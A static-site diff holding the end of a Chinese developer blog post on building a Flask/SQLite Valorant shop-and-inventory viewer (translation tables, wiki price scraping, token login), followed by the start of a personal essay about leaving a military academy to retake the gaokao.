i["uuid"], i["displayName"], json.dumps(i)))
conn.commit()
except sqlite3.IntegrityError:
c.execute(f'UPDATE melee SET name = ?, data = ? WHERE uuid = ?',
(i["displayName"], json.dumps(i), i["uuid"]))
conn.commit()
except sqlite3.OperationalError:
c.execute(
'CREATE TABLE melee (uuid TEXT PRIMARY KEY, name TEXT, "name-zh-CN" TEXT, "name-zh-TW" TEXT, "name-ja-JP" TEXT, data TEXT, "data-zh-CN" TEXT, "data-zh-TW" TEXT, "data-ja-JP" TEXT)')
c.execute(f'INSERT INTO melee ([uuid], name, data) VALUES (?, ?, ?)', (
i["uuid"], i["displayName"], json.dumps(i)))
conn.commit()

+ +

这样,我们把所有的数据存入melee表中,然后直接获取melee表中所有的数据就是我们的近战武器了

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
if request.args.get('query') not in ['近战武器', '近戰武器', 'Melee', '近接武器']:
# 非近战武器,正常查询
if lang == 'en':
# Get all skins' uuid & name
c.execute(
'SELECT uuid, name, data FROM skins WHERE name LIKE ?', (query,))
elif lang == 'zh-CN' or lang == 'zh-TW':
c.execute(
f'SELECT uuid, "name-{dictlang}", "data-zh-TW" FROM skins WHERE "name-zh-CN" LIKE ? OR "name-zh-TW" LIKE ?', (query, query))
else:
c.execute(
f'SELECT uuid, "name-{dictlang}", "data-{dictlang}" FROM skins WHERE "name-{lang}" like ?', (query,))
conn.commit()
else:
# 近战武器,直接获取melee表
if lang == 'en':
# Get all skins' uuid & name
c.execute(
'SELECT uuid, name, data FROM melee')
elif lang == 'zh-CN' or lang == 'zh-TW':
c.execute(
f'SELECT uuid, "name-{dictlang}", "data-zh-TW" FROM melee')
else:
c.execute(
f'SELECT uuid, "name-{dictlang}", "data-{dictlang}" FROM melee')
conn.commit()
skins = c.fetchall()
+ +

第四次踩坑:翻译问题

做完了分类以后,我逐个去尝试,发现一个问题

+

+

没错,捍卫者这一分类下出现了一把R8,然后我去找是什么情况,结果一查才知道这把R8的翻译叫做戍卫者

+

+

那没办法了,捍卫者这把枪的索引就只能换成繁中了(因为不冲突),想看看是啥情况的可以自己把query后面的参数改成戍卫去试试

+

翻译对照表

做这个功能的原因是我现在游戏内用的英语,然后如果刚进游戏没看到是什么地图,而是在选英雄的时候看地图的时候,就会不知道是什么地图,所以加了这个功能

+

因为加了地图的对照表,所以干脆就把所有的东西都加进去,用不同的端点区分

+

现在更新缓存那里把其他的内容也加入数据库

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
LinkAgentsmap = [
('en', 'https://valorant-api.com/v1/agents'),
('zh-CN', 'https://valorant-api.com/v1/agents?language=zh-CN'),
('zh-TW', 'https://valorant-api.com/v1/agents?language=zh-TW'),
('ja-JP', 'https://valorant-api.com/v1/agents?language=ja-JP'),
]

LinkMapsmap = [
('en', 'https://valorant-api.com/v1/maps'),
('zh-CN', 'https://valorant-api.com/v1/maps?language=zh-CN'),
('zh-TW', 'https://valorant-api.com/v1/maps?language=zh-TW'),
('ja-JP', 'https://valorant-api.com/v1/maps?language=ja-JP'),
]

LinkWeaponsmap = [
('en', 'https://valorant-api.com/v1/weapons'),
('zh-CN', 'https://valorant-api.com/v1/weapons?language=zh-CN'),
('zh-TW', 'https://valorant-api.com/v1/weapons?language=zh-TW'),
('ja-JP', 'https://valorant-api.com/v1/weapons?language=ja-JP'),
]

c.execute(
'CREATE TABLE agents (uuid TEXT PRIMARY KEY, name TEXT, "name-zh-CN" TEXT, "name-zh-TW" TEXT, "name-ja-JP" TEXT)')
c.execute(
'CREATE TABLE weapons (uuid TEXT PRIMARY KEY, name TEXT, "name-zh-CN" TEXT, "name-zh-TW" TEXT, "name-ja-JP" TEXT)')
c.execute(
'CREATE TABLE maps (uuid TEXT PRIMARY KEY, name TEXT, "name-zh-CN" TEXT, "name-zh-TW" TEXT, "name-ja-JP" TEXT)')

for lang, link in LinkAgentsmap:
print('Updating Agents Data of ' + lang)
conn = sqlite3.connect('db/data.db')
data = requests.get(link).json()

c = conn.cursor()
if lang == 'en':
for i in data['data']:
if i['isPlayableCharacter']: # There's an unplayable SOVA in data
try:
c.execute(f'INSERT INTO agents ([uuid], name) VALUES (?, ?)', (
i["uuid"], i["displayName"]))
conn.commit()
except sqlite3.IntegrityError:
c.execute(f'UPDATE agents SET name = ? WHERE uuid = ?',
(i["displayName"], i["uuid"]))
conn.commit()
else:
if i['isPlayableCharacter']:
for i in data['data']:
c.execute(f'UPDATE agents SET "name-{lang}" = ? WHERE uuid = ?',
(i["displayName"], i["uuid"]))
conn.commit()
c.close()

for lang, link in LinkMapsmap:
print('Updating Maps Data of ' + lang)
conn = sqlite3.connect('db/data.db')
data = requests.get(link).json()

c = conn.cursor()
if lang == 'en':
for i in data['data']:
try:
c.execute(f'INSERT INTO maps ([uuid], name) VALUES (?, ?)', (
i["uuid"], i["displayName"]))
conn.commit()
except sqlite3.IntegrityError:
c.execute(f'UPDATE maps SET name = ? WHERE uuid = ?',
(i["displayName"], i["uuid"]))
conn.commit()
else:
for i in data['data']:
c.execute(f'UPDATE maps SET "name-{lang}" = ? WHERE uuid = ?',
(i["displayName"], i["uuid"]))
conn.commit()
c.close()

for lang, link in LinkWeaponsmap:
print('Updating Weapons Data of ' + lang)
conn = sqlite3.connect('db/data.db')
data = requests.get(link).json()

c = conn.cursor()
if lang == 'en':
for i in data['data']:
try:
c.execute(f'INSERT INTO weapons ([uuid], name) VALUES (?, ?)', (
i["uuid"], i["displayName"]))
conn.commit()
except sqlite3.IntegrityError:
c.execute(f'UPDATE weapons SET name = ? WHERE uuid = ?',
(i["displayName"], i["uuid"]))
conn.commit()
else:
for i in data['data']:
c.execute(f'UPDATE weapons SET "name-{lang}" = ? WHERE uuid = ?',
(i["displayName"], i["uuid"]))
conn.commit()
c.close()

+ +

说白了就是照葫芦画瓢,因为之前做过了

+

在主程序里面加入数据库查询的功能就行了

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
@app.route('/trans')
def transDefault():
return redirect('/trans/maps')


@app.route('/trans/<t>')
def trans(t):
if request.args.get('lang'):
if request.args.get('lang') in app.config['BABEL_LANGUAGES']:
lang = request.args.get('lang')
else:
lang = str(request.accept_languages.best_match(
app.config['BABEL_LANGUAGES']))
elif request.accept_languages.best_match(app.config['BABEL_LANGUAGES']):
lang = str(request.accept_languages.best_match(
app.config['BABEL_LANGUAGES']))
else:
lang = 'en'
if t in ['agents', 'maps', 'weapons', 'skins']:
conn = sqlite3.connect('db/data.db')
datalist = []
if t == 'skins':
c = conn.cursor()
c.execute(
'SELECT name, "name-zh-CN", "name-zh-TW", "name-ja-JP", isMelee FROM {}'.format(t))
conn.commit()
data = c.fetchall()
c.execute(
'SELECT name, "name-zh-CN", "name-zh-TW", "name-ja-JP" FROM weapons')
conn.commit()
weapons = c.fetchall()
else:
c = conn.cursor()
c.execute(
'SELECT name, "name-zh-CN", "name-zh-TW", "name-ja-JP" FROM {}'.format(t))
conn.commit()
data = c.fetchall()
for i in data:
if t == 'skins':
en_name, zhCN_name, zhTW_name, jaJP_name, isMelee = i
if isMelee:
continue
for en, zhCN, zhTW, jaJP in weapons:
en_name = en_name.replace(en, '').strip()
zhCN_name = zhCN_name.replace(zhCN, '').strip()
zhTW_name = zhTW_name.replace(zhTW, '').strip()
jaJP_name = jaJP_name.replace(jaJP, '').strip()
if {"en": en_name, "zhCN": zhCN_name, "zhTW": zhTW_name, "jaJP": jaJP_name} not in datalist:
datalist.append(
{"en": en_name, "zhCN": zhCN_name, "zhTW": zhTW_name, "jaJP": jaJP_name})
else:
if {"en": i[0], "zhCN": i[1], "zhTW": i[2], "jaJP": i[3]} not in datalist:
datalist.append({"en": i[0], "zhCN": i[1],
"zhTW": i[2], "jaJP": i[3]})
return render_template('trans.html', data=list(datalist), lang=yaml.load(os.popen(
f'cat lang/{lang}.yml').read(), Loader=yaml.FullLoader))
else:
abort(404)

+ +

手动切换网站语言

这个还是@Vanilluv提出的,我就加了个lang参数用来切换语言

+

如果是网站支持的语言中的一种,就显示指定的语言;如果非支持的语言,默认显示浏览器语言;如果浏览器没有合适的语言(例如用curl访问)就会显示英语

+

按照这个逻辑,写了一个判断

+
1
2
3
4
5
6
7
8
9
10
11
12
13
if request.args.get('lang'):
if request.args.get('lang') in app.config['BABEL_LANGUAGES']:
lang = request.args.get('lang')
elif request.accept_languages.best_match(app.config['BABEL_LANGUAGES']):
lang = str(request.accept_languages.best_match(
app.config['BABEL_LANGUAGES']))
else:
lang = 'en'
elif request.accept_languages.best_match(app.config['BABEL_LANGUAGES']):
lang = str(request.accept_languages.best_match(
app.config['BABEL_LANGUAGES']))
else:
lang = 'en'
+ +

然后使用语言文件的时候就直接调用{lang}.yml就可以了

+

库存查看功能

这个功能是有人在小黑盒里面问到说“是否支持查看库存”(@Vanilluv发每日商店的时候有人问的),然后本来就想做这个功能,所以就花了三天的时间做了

+

获取库存很简单,在参考文档里面就有这节内容

+ + + + + + + +
获取玩家已拥有的物品/store/v1/entitlements/{userId}/{itemType}
+

所以获取是很好弄的,获取到的内容我也看了一下,是所有已经购买的武器的等级(需要找skinlevels表)

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"ItemTypeID": "e7c63390-eda7-46e0-bb7a-a6abdacd2433",
"Entitlements": [
{
"TypeID": "4e60e748-bce6-4faa-9327-ebbe6089d5fe",
"ItemID": "12831559-44ee-c708-b97c-29a43938e3cd"
},
... (此处省略)
{
"TypeID": "4e60e748-bce6-4faa-9327-ebbe6089d5fe",
"ItemID": "eaf52d49-4608-45d9-5f18-c8b12614e01f"
}
]
}
+ +

ItemID就是skinlevels表里面的uuid,所以直接跟着UUID找就行了

+

而炫彩就没那么简单了,炫彩虽然也是uuid,但是我们没有构造炫彩的数据库表(下面是个例子)

+
1
2
3
4
5
6
7
8
9
10
11
12
13
{
"ItemTypeID": "3ad1b2b2-acdb-4524-852f-954a76ddae0a",
"Entitlements": [
{
"TypeID": "4e60e748-bce6-4faa-9327-ebbe6089d5fe",
"ItemID": "2d0c7deb-4f5a-40ea-8fe8-288e060d02c6"
},
{
"TypeID": "4e60e748-bce6-4faa-9327-ebbe6089d5fe",
"ItemID": "7a68a469-4c7b-1c17-372d-2dbcd50fc114"
}
]
}
+ +

然后我是先把有的做了出来,就只要是获取到皮肤的UUID,发现是等级1的,就判断有这把枪,然后把这把枪的数据加入weapon_list中给网页进行渲染,就达到了查看库存的效果

+

显示已购买的等级

为什么我上面说花了三天,因为在想怎么给用户提示说这个等级已经用RP购买过了,上面我们不是说到过获取库存的时候是获取的所有皮肤等级嘛,我就把玩家拥有的皮肤等级的UUID给弄到一个列表,然后获取皮肤信息的时候,如果这个等级的UUID在我的列表里面,就给个FLAG叫udpated,设定为True,渲染的时候就只需要检查是否存在updated这个FLAG就可以了

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class player:
def getSkins(self):
data = requests.get(f'{self.server}{Api.owned}{self.user_id}/{Options.skins}', headers=self.__header, timeout=30).json()
skins = data['Entitlements']
owned_skins = []
for skin in skins:
owned_skins.append(skin['ItemID'].upper())
return skins, owned_skins # 这里owned_skins就是已拥有的皮肤列表

def getChromas(self):
data = requests.get(f'{self.server}{Api.owned}{self.user_id}/{Options.chromas}', headers=self.__header, timeout=30).json()
chromas = data['Entitlements']
owned_chromas = []
for chroma in chromas:
owned_chromas.append(chroma['ItemID'].upper())
return chromas, owned_chromas # 这里owned_chromas就是已拥有的炫彩列表

+ +
1
2
3
4
5
6
7
8
9
10
11
12
{% if level.updated %} <!-- If this level has been updated, set the color of the button to green -->
<button type="button" class="btn bg-gradient-success" data-bs-toggle="modal"
data-bs-target="#WEAPON-{{level.uuid|escape}}">
{{level.displayName}}: {{level.levelItem}}
</button>
{% else %}
<button type="button" class="btn bg-gradient-primary" data-bs-toggle="modal"
data-bs-target="#WEAPON-{{level.uuid|escape}}">
{{level.displayName}}: {{level.levelItem}}
</button>
{% endif %}

+ +

这样就可以达到变绿的效果,而原来的紫色按钮就说明没有购买这个等级/炫彩

+

在皮肤库/库存中显示价格

首先这个价格的来源就很麻烦。我尝试使用拳头自己的Offer列表去解析价格,但是怎么弄价格都是错的(鬼刀4800那种错误),所以没办法。

+

后来我找到了VALORANT FANDOM WIKI,里面有各种武器的价格

+

然后就开始弄解析它那个价格表格的代码了

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
def UpdatePriceCache():
print('Start Updating Price Cache')
weapons = [
"Classic", "Shorty", "Frenzy", "Ghost", "Sheriff",
"Stinger", "Spectre",
"Bucky", "Judge",
"Bulldog", "Guardian", "Phantom", "Vandal",
"Marshal", "Operator",
"Ares", "Odin",
"Tactical_Knife"]
base_url = 'https://valorant.fandom.com/wiki' # Get price data from wiki
for weapon in weapons:
print(f'Updating {weapon.replace("_", " ")}')
res = requests.get(f'{base_url}/{weapon}')
html = res.text
soup = BeautifulSoup(html, 'html.parser')
tables = soup.find_all('table', class_='wikitable sortable')
if len(tables) > 0:
table = tables[0]
for row in table.find_all('tr'):
cells = row.find_all('td')
if len(cells) == 0:
continue
content = [cell.text for cell in cells]
# Content Format: [Image, Edition, Collection, Source, Cost/Unlock, (Upgrades), (Chromas)]
if weapon != 'Tactical_Knife':
collection = content[2].replace('\n', '')
source = content[3].replace('\n', '')
unlock = content[4].replace('\n', '')
weapon_name = f'{collection} {weapon}'
else:
collection = content[1].replace('\n', '')
name = content[2].replace('\n', '')
source = content[3].replace('\n', '')
unlock = content[4].replace('\n', '')
weapon_name = f'{collection} {name}'
conn = sqlite3.connect('db/data.db')
c = conn.cursor()
try:
vp_img = '<img src="/assets/img/VP-black.png" width="32px" height="32px">'
if source == 'Store': # This skin can be unlocked through store
c.execute('UPDATE skinlevels SET unlock = ? WHERE name LIKE ?', (f'{vp_img} {unlock}', weapon_name))
else:
c.execute('UPDATE skinlevels SET unlock = ? WHERE name LIKE ?', (f'{source} {unlock}', weapon_name))
except Exception as e:
print(e)
conn.commit()
print(f'{weapon.replace("_", " ")} has been Updated.')

+ +

因为价格基本不会改,而且只有拳头出皮肤的时候才会有价格的变动,所以我设置为12小时更新一次了

+

然后把价格/解锁方式给丢入数据库,渲染HTML的时候把数据取出渲染就是了

+

FAQ的编写

这个是我去游泳的那天晚上在车上想到的,因为说白了EULA那个东西,是我用生成器弄出来的,其实并不标准,而且我们这个是开源项目,也不是公司什么的那种主体提供的服务,原则上我只需要写个免责声明就行了,但是写个免责声明吧,有感觉好像缺了点什么,最后就决定写个FAQ

+

所以FAQ在这里啦:https://gamernotitle.notion.site/VALORA-FAQ-86f072f8cebf4a8d9453a795b24cd507

+

改名风波

嗯没错,VSC改名为了Valora,这是因为@Vanilluv给我发了张图

+

+

也不知道是不是这个人开了还是咋的,反正就是被封了,但是本着开发者的态度,他说用了VSC我就去查查是不是我这个,我就去翻数据库(数据库有玩家的ID,小黑盒是可以查玩家的ID的),然后没发现,就说明咱们是清白的

+

VSC这个名字确实很多东西用,我之前查到过(如图,这还是其中一个)

+

+

所以说咱们为了不跟人冲突就改个名字嘛,我就去问ChatGPT了,改什么名字好

+
    +
  • 我开发了一个查看瓦罗兰特每日商店的网站,请你帮我给这个网站想个名字,要英文的,越短越好,而且要有缩写版

    +
      +
    • How about “ValShop” as the name for your website? It’s short, easy to remember, and has a clear connection to the subject matter. For the abbreviation, you could use “VS” which is simple and recognizable.
    • +
    +
  • +
  • 换一个

    +
      +
    • Sure, here are a few more suggestions for the name of your website:

      +
        +
      1. “DailyVault”: This name combines “daily” to indicate that the site is updated every day, and “vault” to reference the setting of the game.
      2. +
      3. “ValoraMart”: This name plays off the popular retail chain Walmart, and incorporates “Valora” to reference the game world.
      4. +
      5. “ValoraDeals”: This name emphasizes the focus on shopping and finding good deals within the Valoran setting.
      6. +
      +

      For abbreviations, you could use “DV” for “DailyVault,” “VM” for “ValoraMart,” and “VD” for “ValoraDeals.”

      +
    • +
    +
  • +
  • 它的功能不只有看商店,也可以查看夜市、查看库存、还有完整的皮肤资料库,请你加上这些依据再想想

    +
      +
    • Thank you for the additional information! Here are some more suggestions for the name of your website, taking into account the expanded functionality:

      +
        +
      1. “ValoraHub”: This name suggests that your website is a central hub or resource for all things related to Valoran commerce, including daily shops, night markets, inventories, and skin information.
      2. +
      3. “ValoraMarket”: This name emphasizes the commerce aspect of your website, and can encompass both daily shops and night markets, as well as inventory and skin information.
      4. +
      5. “ValoraVault”: This name plays off the idea of a vault or treasure trove, and suggests that your website is a valuable resource for all things Valoran, including commerce and skin information.
      6. +
      +

      For abbreviations, you could use “VH” for “ValoraHub,” “VM” for “ValoraMarket,” and “VV” for “ValoraVault.”

      +
    • +
    +
  • +
  • 缩写请增至三个字母 请你再想想

    +
      +
    • Sure, here are revised names and abbreviations that are three letters long:

      +
        +
      1. “ValHub” (VHB): This name is a shortened version of “ValoraHub” and still suggests that your website is a central resource for all things Valoran, including commerce and skin information.
      2. +
      3. “ValMar” (VLM): This name is a shortened version of “ValoraMarket” and still emphasizes the commerce aspect of your website, while also encompassing night markets, inventory, and skin information.
      4. +
      5. “ValVault” (VVT): This name is a shortened version of “ValoraVault” and still plays off the idea of a vault or treasure trove, suggesting that your website is a valuable resource for all things Valoran.
      6. +
      +

      I hope these suggestions are helpful!

      +
    • +
    +
  • +
+

嗯它给我的回答……我觉得很不错,然后最后选择了它在两个字母缩写那里给我起的前缀Valora,简称VLR

+

Access Token登录

本来这一节是叫做Cookie登录的,但是后来发现再怎么弄Cookie都过不了Cloudflare的WAF那一关,所以还不如直接用access token

+

确定用Access Token了以后就比较简单了,按照重新认证的思路做就是了,不过这样就会发现,跟账号密码登录出来的功能是有区别的:

+
    +
  • 获取不到用户的基础信息(用户名和tag)
  • +
  • 无法重新获取access_token(即无法保活)
  • +
+

那没办法了,想要安全那得有付出,至少在我能通过WAF之前,这两个东西都不可能做好了……

+

按钮的点亮条件

我之前是用后端进行限制的,如果没有填写用户名/密码或者不打钩的话就直接弹出提示且不让登陆,不过这样的话说实在的,东西都发出去了,服务器再弹回来,其实就没有发送的必要,然后我就让GPT给我写了对应的函数

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
function checkInputs() {
const accessTokenInput = document.getElementById('accesstoken-input');
const userIdInput = document.getElementById('userid-input');
const regionInput = document.getElementById('region-input');
const checkedEULAInput = document.getElementById('checked-eula-input');
const submitButton = document.getElementById('tokenlogin-submit');

// 检查accessToken是否非空
if (accessTokenInput.value.trim() === '') {
submitButton.disabled = true;
return;
}

// 检查userId是否为UUID格式
const uuidRegex = /^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{12}$/;
if (!uuidRegex.test(userIdInput.value)) {
submitButton.disabled = true;
return;
}

// 检查region是否为有效的地区代码
const validRegions = ['ap', 'kr', 'eu', 'na'];
if (!validRegions.includes(regionInput.value.toLowerCase())) {
submitButton.disabled = true;
return;
}

// 检查checkbox是否都勾选
if (!checkedEULAInput.checked) {
submitButton.disabled = true;
return;
}

// 如果所有条件都满足,则去掉按钮的disabled属性
submitButton.disabled = false;
}
function checkLoginInputs() {
const usernameInput = document.getElementsByName('Username')[0];
const passwordInput = document.getElementsByName('Password')[0];
const checkedRuleInput = document.getElementsByName('CheckedRule')[0];
const checkedEULAInput = document.getElementsByName('CheckedEULA')[0];
const submitButton = document.getElementById('login');

// 检查username和password是否非空
if (usernameInput.value.trim() === '' || passwordInput.value.trim() === '') {
submitButton.disabled = true;
return;
}

// 检查checkbox是否都勾选
if (!checkedRuleInput.checked || !checkedEULAInput.checked) {
submitButton.disabled = true;
return;
}

// 如果所有条件都满足,则去掉按钮的disabled属性
submitButton.disabled = false;
}

+ +

然后把元素的ID一改,完事!

+

结语

这个项目真的是从我自己立项开始做到现在,做了两周有多,接下来还有其他的更新,但是也是慢更了,就是那种小小的更新,功能性的除了一个皮肤库还没写以外,我就想不到还能做什么功能了,如果你有好的建议可以在下面评论,我看到会去试试的

+

如果你想给我赞助,除了访问赞助页面以外,也可以给我的账号充VP(缅甸区),DM(私聊)我我看到会给你发ID的,谢谢!

+
Author: GamerNoTitle
Link: https://bili33.top/posts/Valorant-Shop-with-API/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/Why-I-Choose-to-Repeat-High-School/index.html b/posts/Why-I-Choose-to-Repeat-High-School/index.html new file mode 100644 index 0000000000..1e676df0ba --- /dev/null +++ b/posts/Why-I-Choose-to-Repeat-High-School/index.html @@ -0,0 +1,478 @@ +杂谈:为什么我选择了复读 | GamerNoTitle + + + + + + + + + + + + + + + + +

杂谈:为什么我选择了复读

+

省流:一年不活动的原因是复读,如果你还想详细了解的话请往下看

+
+

我想了很久,但还是决定写这样的一篇文章,同时这也能够解答本站的各位访客和QQ上的好友们:为什么身为大学生的我不经常在线?又或者是:为什么我只有周末才冒泡?

+

叠甲

本文章不针对任何人、任何群体。本人热爱中国共产党,热爱中国人民解放军,热爱中华人民共和国,本人为中华人民共和国公民,承诺永不做出违反我国法律的事情!

+
+ +

此文章带有很强的主观性,或许我本人是在心理有问题的情况下写下此文章也说不定,肯定有些人看了本文章会觉得“怎么会有这么傻的人放着好好的大学不读自己选择退学复读”这样的,但说白了这个选择是我自己做出的,是我自己权衡了很多方面才做出的,我也不是说要别人去理解我什么的,或许就是在发牢骚,但是我不希望有人在这里进行网络攻击,毕竟网络攻击的成本很低,维权的成本很高,对别人造成的伤害那是不可计量的。如果你是带着“键盘侠”的身份来到本站,那么对不起,本站不欢迎你,你现在就可以点击右上角的×退出了!

+
+ +

本文将按照时间顺序,从高考拿到成绩那个时候起,叙述我从报考大学=>在大学学习=>选择退学=>目前状态的整个过程,需要再次强调此文章带有很强的主观性,或许我本人是在心理有问题的情况下写下此文章也说不定,但是我不希望有人看了以后以此来攻击我

+

本文中含有大量的职场PUA,而且是因为你所在的环境无法反驳的那种,请控制好自己的情绪

+
+ +

前言

我是2021年的高考考生,在2023年选择了退学,退学的原因有多个方面,下面会讲。目前已经报名了某学校的复读班,将于2023年7月31日入学。在入学之后,直到2024年高考结束之前,我都会处于“隐身”的状态。请大家尽量减少找我的次数,找我我也不能够及时回复;本站会一直存在,只不过会沉寂一年时间。

+

拿到成绩

我的成绩算不上很出彩,甚至处于一个很尴尬的位置:分数559,排名600xx,想上985没戏,想上好的211很难,想要随便挑专业的211那都是211的末尾了;一本是肯定没问题的。

+

我承认,我的大三科问题很大,特别是英语本该拿高分的,但是最后出来只有114,但这都是后日谈了

+

在填志愿上,我们花费了很长时间,但是在这里,容我先插入一小段内容

+ + +

插入:政审二三事

高考完的那一周,我妈问我政审的事情,其实我本来就没想着去弄这个东西,因为就没有考虑过提前批;我妈说跟我玩得好的那个同学(以下简称F)他都弄了政审了,让我也去弄一个,说多一个选择。我向来是顺着我妈的意思走的(后日谈:我对我个人评价是极其容易受到他人影响,只能说这次是个教训),所以我就去弄了一下政审。还记得当时政审的最后一个环节是要到居委会那里签字然后送去高中,正巧当时我们这里被封小区了。就是有一名新冠患者他出入过我们小区这附近,然后给我们封了,虽然封的时间不长,但是时间点很尴尬。

+

得到封小区的消息是下午,打算第二天去跑最后一个步骤然后送表的。当时也是接近DDL(死线Deadline)了,很紧急,正巧我爸当天晚上加班没回来,所以第二天就隔着小区的门,把表给我爸去跑这最后一步,才成功送上去的。这样才有了报考提前批的资格。

+

填报志愿

提前批

就像我上面说的,填报志愿是很麻烦的一件事情,要斟酌很多东西。讲真,我是一个重度的专业控,我是倾向于计算机类的专业的,所以提前批那边,都填的是计算机类的那些,不过填的都是什么陆工大、空工大之类的那种,毕竟搞工科的军校这种专业才多一点,然后翻着翻着,看到一个陆军的学院,分数还比较低,叫做陆军特种作战学院(没错特种这两个字给我坑惨了),然后我就填在了最底下(广东提前批可以填8个专业组)

+

本科批

本科批这边都是抱着冲一冲的心态填的,所以填的是一些看起来不错的院校,不过现在谈这个也没啥用,毕竟本科批就没用上,当时想的是最低是黑龙江大学(别问为什么,问就是有熟人在那里读大学)来保底的,不过到最后都是没用的

+

保存志愿

填完了以后,点击保存,锁定了专业

+

转折:来自武装部的建议

我妈拍了我的专业,然后跑去武装部,问她认识的人说我这个录取怎么样,结果武装部的那位大哥说:你把最底下那个“陆军特种作战学院”放在第一个可能会好录一点,然后我妈回来就跟我说把它放在第一个。我上面也说过了,我是一个比较随我妈的人(我现在恨不得抽死我自己),然后就……就……就放了。我没想着给提前批录取的,本来对军警院校就没什么想法,我只是单纯听我妈的试试水而已

+

体检

没错,提前批是要体检的。我参加的是军队院校选拔体检。去到指定的医院后,首次体检是不让你带任何电子产品的(我估计是怕耽误进程,时间紧任务重),我就进去查完该查的东西,然后就回家了;过了几天,广东省教育考试院的微信公众号发了体检结果,然后我点进去看,说让我复检一次,然后就在那一周晚些时候又去了一次,就只让查了血液一项,可能是因为我的血液第一次不太达标,然后想确认一下???

+

又过了几天,还是那个公众号发布了复检结果——我过了

+

高校录取

广东省的录取是先提前批录取,提前批录取完了以后就本科批录取,我还在家里打五把CSGO呢,结果我妈过来说录取结果出了,我给陆特录走了

+

我当时是很懵逼的,就像我说的,我没想着能被提前批录取,就我这烂成绩基本上抢不到的。事后我想:应该是写着特种两个字,然后没人报……当我拿到提前批的录取情况的时候,我看到我那个专业广东省录取2个人,他那里写的录取最低分:559,录取最低名次:600xx,我就知道我是那个里面的第二个……

+
+

高考报考军校——陆军特种作战学院 - 知乎 (zhihu.com) 这个链接里面有当年录取最低分的图

+
+

当时我妈问我:你确定要去军校了嘛?我当时回复是:都被录了,能不去嘛,不去算不服从兵役那我咋办……

+

那没办法,录取都录取了,就只能去了

+ + +

录取通知书

过了几天,一份毫无诚意的录取通知书送到了家里。为什么说是毫无诚意?因为它就像是一张贺卡那样,然后里面就简短的几句话。说实话,我当时脑袋很空白,我也不知道该怎么办。

+

就如大家看到的平时的我,一个标准的二次元OTAKU(肥宅),然后研究着自己的代码,身体真的不硬朗,而“特战”两个字,说明这个东西纯纯靠身体吃饭,我还是很担忧……

+ + +

喜事:延迟开学

因为我们开学去的学校是它的分校,就在广州里面,然后当时广州的疫情有点严重,于是就……推迟了十天开学,最后我们在八月底进行入学了……

+

第一学期:隔离期

就像我上面说的,那个时候是新冠肺炎的疫情期,所以当时过去就让我们理所当然的隔离了。我是第二天中午到的(报到时间是两天),在那之前已经有很多人陆续抵达了这个地方,然后隔离的时候住的地方就没有按照原来给我们分的班级来分,就来一个人就随便丢,我过去的时候给我丢在了二楼的应该是库房的地方,反正这里很空,就什么东西都没有。在那里管我们的人让我们叫他们“班长”(其实这个在同级的人之间实在不知道怎么称呼就是这么叫的),他们肩章是一杠(学员衔,军衔相关内容请阅读百度百科),然后他们跟我们说“带星星的要叫首长”,说白了就是人军衔比你高,所以直接叫首长

+

这个隔离期持续了好像是两天,过去了以后就上交手机了,然后他会让你把手机密码去掉(事实上只要你是基层兵你就不能设置密码,他要查),然后会开始翻你手机里面的东西,所以小蓝鸟啦、TG啥的东西得提前删掉。

+

住的地方里面没有独立的厕所和卫浴,需要到走廊尽头的“水房”里面解决,浴室就像是华附那种(实在想不出来可以百度一下华附的浴室是咋样的)

+

第一学期:新训

过了隔离期就像正常进入基层那样子有新训(新兵集训),不过里面是三个月而已;内容嘛:跑的、爬的、站的、走的等等都有(不能细说请理解);带领我们训练的是大三的学员(高年级带新生新训的机制);当时我记得让我们填过基本信息表,里面有爱好那一栏,然后我填的是“编程”(毕竟我就是做这个的),可能就是这一栏,让我楼下的教导员印象比较深吧

+

我们楼下有两个人,一个叫做队长(下面简称C某),一个叫做教导员(下面简称L某H),是专门管我们整个队的(我们这个年级是1、2、3队,我是1队)

+

新训其实过得比较快,但是说白了都是靠身体吃饭,身体素质不好真撑不住,所以对我这个Otaku来说还是挺那啥的……

+

第一学期:正式学习

与地方大学相比

新训过去后,我们就进入正式学习的时候了,跟地方大学(我们这个地方管非军队院校都叫做地方大学)比就是:科目更多、时间更少、学的不深。科目多主要是因为你不仅要学地方大学学的文化知识,你还得有技能训练(真的是要了老命的东西);时间少体现在下面及格方面:技能训练占用平时的空闲时间、队内管理有事情会占用你的空闲时间、规章制度会打乱你的时间。对内管理这一块下面再讲;学的不深是我觉得我不能在这里呆着的重点原因之一:这个地方的学业水平连专科都不如(这里说的不是陆工大啥的那些,仅限于我在的这个地方,军队院校名单见【知乎】),如果到时候真的在这里毕业了然后退出军队,去外面找工作的话,完全就没有优势,而且别人会的你完·全·不·会。

+

没有工资的“设计师”

因为我个人还是在计算机这一块特长的,结果结果,队里的设计全都丢给了我。歪,我会的是编程不是设计啊!!!

+

但是我们队里的L某H还是把这个工作给了我,给就给吧,于是我就比别人多了更多摸鱼的机会

+

